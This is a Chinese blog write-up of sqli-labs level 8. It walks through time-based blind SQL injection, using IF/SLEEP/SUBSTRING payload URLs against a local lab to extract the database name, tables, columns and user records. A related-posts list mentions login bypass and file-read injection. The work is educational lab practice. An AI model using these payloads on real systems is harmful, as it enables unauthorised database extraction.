Sqli-LABS通关笔录-8[延时注入]
通过该关卡我学习到了
1.if语句的三目运算符(其实说白了也就是php里的三位运算符)
2.sleep函数
3.substring函数(其实和substr一样)
4.limit的灵活运用
5.
Start Study
先来科普延时注入知识吧。
延时注入方法很简单:就是利用IF的三目运算符使用substring函数来判断字符的ASCII码值,进而猜解出正确的内容。
拿下面的案例而言,如果字符串hello的首字母的ASCII码大于120的话那么延时十秒,否则输出1。下面的案例是延时了十秒。
Example:
select if(ascii(substring("hello",1,1))>120,sleep(10),1);
注:
substring()等价于substr
sleep(10)延时十秒

下面我们来看关卡。
将刚才的sql语句放到 url里
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring("helloworld",1,1))=104,sleep(10),1)--+

左上方可以看到正在连接,并且持续了十多秒,所以延时注入的影响因素跟时间也是息息相关的。延迟也就是说sleep(10)得到执行了。
00x1 猜数据库名
经过测试数据库名的第一个ASCII码为115
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+
......................................................................................................2.................................
.....最终得出为:security

00x2 猜表名
记住哈,是从0开始的,我给写从1开始了。limit 0,1
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113,sleep(10),1);--+ 符合IF条件
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>114,sleep(10),1);--+ 不符合IF条件
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114,sleep(10),1);--+ 等于114
推出第一个的ASCII码为:114
修改substring函数的第二个参数进行猜解第二个的ASCII码。
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101,sleep(10),1);--+
要猜第二个表的时候修改select下limit的即可,即(limit 2,1)也可如下所示:
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=117,sleep(10),1);--+
注:

以上该图当中使用红色箭头标注的地点需是两个括号。原因很简单就是使用了双层的select语句,因为在其原本的sql语句中是有一个select的。所以说要多家一层括号。
详细的解释可参考《sql注入之你问我答小知识》的17问:http://www.cnblogs.com/xishaonian/p/6036909.html
00x3 猜字段
只需要将select语句里的
table_name改为column_name以及information_schemation.tables改为information_schemation.columns
就可以了。还是要记住哦,是从0开始的!
00x4 猜内容
格式:http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substr((select 字段 from 数据库名.表明 order by id limit m,n),x,y))>68,sleep(10),1);--+
注:
m,n为limit函数的
x,y为substr函数的
可将格式再缩为:if(ascii(substr((select 字段 数据库.表明 order by id limit m,n))>ASCII码,sleep(10),1);
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substr((select username from security.users order by id limit 0,1),2,1))=117,sleep(10),1);--+
第一个ASCII:68
第二个ASCII:117
最后推出usernam第一个得出为:Dumb
诺,送users表下的数据图一张

转载请注明出处:珍惜少年时博客
THE END
Sqli-LABS通关笔录-8[延时注入]的更多相关文章
- Sqli-LABS通关笔录-9[延时注入]
通过这个关卡 1.更快的掌握到了如何判断是否是延时注入 无论咋输入,都不行.当payload为: http://127.0.0.1/sql/Less-9/index.php?id=1' and sle ...
- Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]
在这一关卡我学到了 1.万能密码的构造,大概的去揣测正常的SQL语句是如何的. 2. 3. 00x1 SQL万能密码的构造 在登录框当中可以添加了一个单引号.报错信息如下所示: 据此报错,我们大概的可 ...
- Sqli-LABS通关笔录-17-审计SQL注入
这个关卡开始好像进入新的知识区了,前面几个是让我们加深对盲注的印象.接下来又是新知识了!皮卡丘,接招吧! 代码是从SQL-libs的第十七关卡扣的. 页面效果如下所示: PHP面完整CODE如下所示: ...
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- sqli-labs:7,导入导出;8-10 延时注入
1,Load_file()导出文件 使用条件: A.必须有权限读取并且文件必须完全可读(and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明 ...
- mysql 延时注入新思路
转自先知社区https://xz.aliyun.com/t/2288 在4月的pwnhub比赛中,我们遇到了一个比较神奇的问题,如果在注入中遇到需要延时注入的情况,但服务端过滤了我们一般使用的slee ...
随机推荐
- Rational Rose 2003 逆向工程转换C++源代码成UML类图
主要介绍用户如何使用Rose的逆向工程生成UML模型,并用来进行C++代码的结构分析. Rational Rose可以支持标准C++和Visual C++的模型到代码的转换以及逆向工程.下面将详细地说 ...
- 每一个软件开发人员绝对必须掌握的关于 Unicode 和字符集的最基础的知识
2013-02-05 14:18 48人阅读 评论(0) 收藏 举报 关键字: Unicode, Character Set, 字符集, UTF-8, ANSI, ASCII, UTF-7 ...
- 【转载】MyEclipse使用指南(精简版)
1.安装 2.注册 3.配置 window ----> preferences (1)配置 JDK java--->Installed JREs --> Add ---> JR ...
- HDUOJ---2546 饭卡
饭卡 Time Limit: 5000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others)Total Submissi ...
- jQuery:用 lightTreeview 实现树形分类菜单的功能 展开收缩分类代码
最近在做前端开发项目中,需要用到树形结构.在网上查阅到了许多相应资源.其中觉得lightTreeview是一款非常不错的JQ树形分类菜单代码,结构简单,支持多级.还有详细的参数可以配置,以实现各种效果 ...
- sudo: Cannot execute /usr/local/bin/zsh: No such file or directory 问题
参考:sudo: Cannot execute /usr/local/bin/zsh: No such file or directory 之前在美化Ubuntu的时候,下了个zsh,但是忘记改配置文 ...
- socket概述和字节序、地址转换函数
一.什么是socket socket可以看成是用户进程与内核网络协议栈的编程接口. socket不仅可以用于本机的进程间通信,还可以用于网络上不同主机的进程间通信. socket API是一层抽象的网 ...
- 选择问题 and 字谜游戏问题
#include <stdio.h> #include <stdlib.h> // 第一题 // 找出N个数的第k个最大者 // 方法1:排序(冒泡),降序找出第k个值 // ...
- struts2每次访问都会创建一个新的session
1.第一次 项目在测试过程中,突然发现登陆之后再去访问其他菜单时都会提示未登录: 查看日志之后发现是因为很多次请求时都会自动创建一个新的session,这就费解了, 因为之前也没改动什么session ...
- caffe make 编译
其实嘛,出现这个的原因在于,已经编译过啦,没有任何改动,那还烦劳编译啥呢. 那Linux又是如何知道已经编译过了呢? 那就要看makefile的规则啦.makefile的规则是所想产生的文件需要依赖很 ...